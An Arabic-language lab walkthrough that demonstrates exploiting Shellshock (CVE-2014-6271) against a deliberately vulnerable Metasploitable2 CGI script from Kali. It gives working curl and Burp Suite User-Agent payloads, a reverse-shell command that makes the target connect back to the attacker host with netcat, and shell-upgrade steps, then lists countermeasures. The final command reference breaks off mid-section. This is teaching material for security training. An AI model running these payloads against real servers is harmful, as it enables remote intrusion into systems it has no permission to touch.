استغلال ثغرة Shellshock (CVE-2014-6271): مختبر عرض توضيحي حديث ومتكامل

تُعد Shellshock (CVE-2014-6271) واحدة من أكثر ثغرات تنفيذ الأكواد عن بُعد تأثيرًا على الإطلاق. تؤثر الثغرة على Bash وتسمح للمهاجمين بتنفيذ أوامر عشوائية بمجرد حقن حمولات مصممة بعناية في متغيرات البيئة.

يوفر هذا الدليل عرضًا كاملاً وقابلاً لإعادة الإنتاج باستخدام:

• Kali Linux (المهاجم)
• Metasploitable2 (الهدف)
• curl وBurp Suite وNetcat
• سكربت CGI مكتوب يدويًا بلغة Bash

صُمم هذا الدليل لأغراض التعليم والبحث والتدريب والتوعية العامة بالأمن السيبراني.

---

📌 جدول المحتويات

1. بنية المختبر
2. إنشاء سكربت CGI الضعيف
3. فهم ثغرة Shellshock
4. استغلال Shellshock باستخدام curl
5. استغلال Shellshock باستخدام Burp Suite
6. شل عكسي عبر Shellshock
7. الترقية إلى TTY تفاعلي بالكامل
8. مخطط سلسلة الهجوم
9. معرض لقطات الشاشة
10. التدابير المضادة
11. مرجع سريع (جميع الأوامر)
12. استغلال Shellshock باستخدام Metasploit
13. الخلاصة

---

1. بنية المختبر

المكوّن	الدور	نظام التشغيل	عنوان IP	الخدمات الرئيسية
Kali Linux	المهاجم	Kali Linux (الأحدث)	192.168.1.4	curl, Burp Suite, Netcat
Metasploitable2	الخادم الهدف الضعيف	Ubuntu Linux (MSF2)	192.168.1.5	Apache 2.2, نصوص CGI, Bash
Apache mod_cgi	تنفيذ السكربتات	يعمل على MSF2	n/a	يكشف Bash عبر CGI
shellshock.sh	نقطة دخول ضعيفة	Bash CGI	n/a	يعرض متغيرات البيئة

يحاكي هذا الإعداد البسيط المكوّن من عقدتين العديد من البيئات القديمة التي لا تزال قائمة في الأنظمة الصناعية وأنظمة إنترنت الأشياء (IoT).

---

2. إنشاء سكربت CGI الضعيف

على Metasploitable2:

sudo su
cd /usr/lib/cgi-bin/

cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF

chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

اختبر السكربت من Kali:

curl http://192.168.1.5/cgi-bin/shellshock.sh

يجب أن ترى متغيرات البيئة معروضة.

---

3. فهم ثغرة Shellshock

تحدث ثغرة Shellshock عندما تقوم Bash بتحليل متغيرات البيئة التي تشبه تعريفات الدوال بشكل غير صحيح.

متغير خبيث مثل:

() { :; }; /bin/bash -c "id"

سيجعل Bash تنفّذ الأمر بعد تعريف الدالة — حتى وإن لم يتم استدعاء الدالة نفسها أبدًا.

تكون تطبيقات CGI معرّضة للخطر بشكل خاص لأن ترويسات HTTP تُمرَّر تلقائيًا إلى السكربتات كمتغيرات بيئة.

---

4. استغلال Shellshock باستخدام curl

curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

يجب أن يتضمن المخرَج:

Vulnerable
uid=33(www-data)

هذا يؤكد تنفيذ الأكواد عن بُعد.

---

5. استغلال Shellshock باستخدام Burp Suite

5.1 إرسال طلب عادي

قم بزيارة:

http://192.168.1.5/cgi-bin/shellshock.sh

أرسل الطلب إلى Repeater.

5.2 حقن حمولة Shellshock

استبدل ترويسة User-Agent بالتالي:

User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"

5.3 الاستجابة

يجب أن ترى:

BurpTest
uid=33(www-data)

تؤكد Burp Suite الثغرة بطريقة مرئية وتعليمية.

---

6. شل عكسي عبر Shellshock

شغّل المستمع على Kali:

nc -lvnp 4444

قم بتشغيل الشل العكسي عبر سكربت CGI:

curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

سيتصل الشل مرة أخرى بـ Kali.

---

7. الترقية إلى TTY تفاعلي بالكامل

داخل الشل العكسي:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

علّق الجلسة:

Ctrl + Z

على Kali:

stty raw -echo; fg

اضغط Enter.

أصبح لديك الآن:

• إكمال التبويب
• مفاتيح الأسهم
• التحكم في الوظائف
• Bash تفاعلي كامل

---

8. مخطط سلسلة الهجوم

          ┌────────────────────────┐
          │     Attacker (Kali)    │
          │      192.168.1.4       │
          └───────────┬────────────┘
                      │
     1. Malicious HTTP Header (Shellshock)
                      │
                      ▼
        ┌──────────────────────────┐
        │ Apache Web Server (CGI)  │
        │     192.168.1.5          │
        └───────────┬──────────────┘
                    │
   2. Header → CGI Environment Variable
                    │
                    ▼
      ┌──────────────────────────┐
      │     Bash (Vulnerable)    │
      └───────────┬──────────────┘
                  │
      3. Injected Command Executes
                  │
                  ▼
        ┌─────────────────────────┐
        │  www-data Shell Access  │
        └───────────┬─────────────┘
                    │
        4. Reverse Shell → Kali
                    │
                    ▼
      ┌──────────────────────────┐
      │ Full Interactive TTY     │
      └──────────────────────────┘

---

9. معرض لقطات الشاشة

جولة مرئية عبر المراحل الرئيسية للهجوم.

الوصف	الصورة
ناتج فحص Nmap + اختبار Shellshock
Burp Suite – طلب Shellshock الأولي
Burp Suite – حقن الحمولة / الترويسة
استلام الشل العكسي على Kali (nc)

---

10. التدابير المضادة

✔ 1. ترقية Bash

حدّث إلى إصدار يعالج تحليل الدوال بشكل صحيح.

✔ 2. تعطيل CGI

يُدخل CGI القديم مخاطر نظامية غير ضرورية.

✔ 3. تعقيم ترويسات HTTP

احذف الأنماط المشبوهة مثل:

() { :; };

✔ 4. استخدام الامتياز الأقل

قيّد صلاحيات مستخدم خادم الويب (www-data).

✔ 5. تقييد الاتصالات الصادرة

يمنع الشلات العكسية وسرقة البيانات.

✔ 6. نشر جدار حماية لتطبيقات الويب (WAF)

تكتشف توقيعات WAF الحديثة Shellshock فورًا.

✔ 7. تفعيل SELinux / AppArmor

يحتوي عمليات Bash ويمنع السلوك غير المقصود.

✔ 8. إجراء فحوصات ثغرات منتظمة

استخدم أدوات مثل:

• Nessus
• OpenVAS
• Nikto
• Nmap NSE (http-shellshock.nse)

---

11. مرجع سريع (جميع الأوامر)

إعداد الهدف

sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

---

اختبار CGI

curl http://192.168.1.5/cgi-bin/shellshock.sh

---

اختبار Shellshock

curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

---

الشل العكسي

nc -lvnp 4444

curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

---

الترقية إلى TTY كامل

داخل الشل: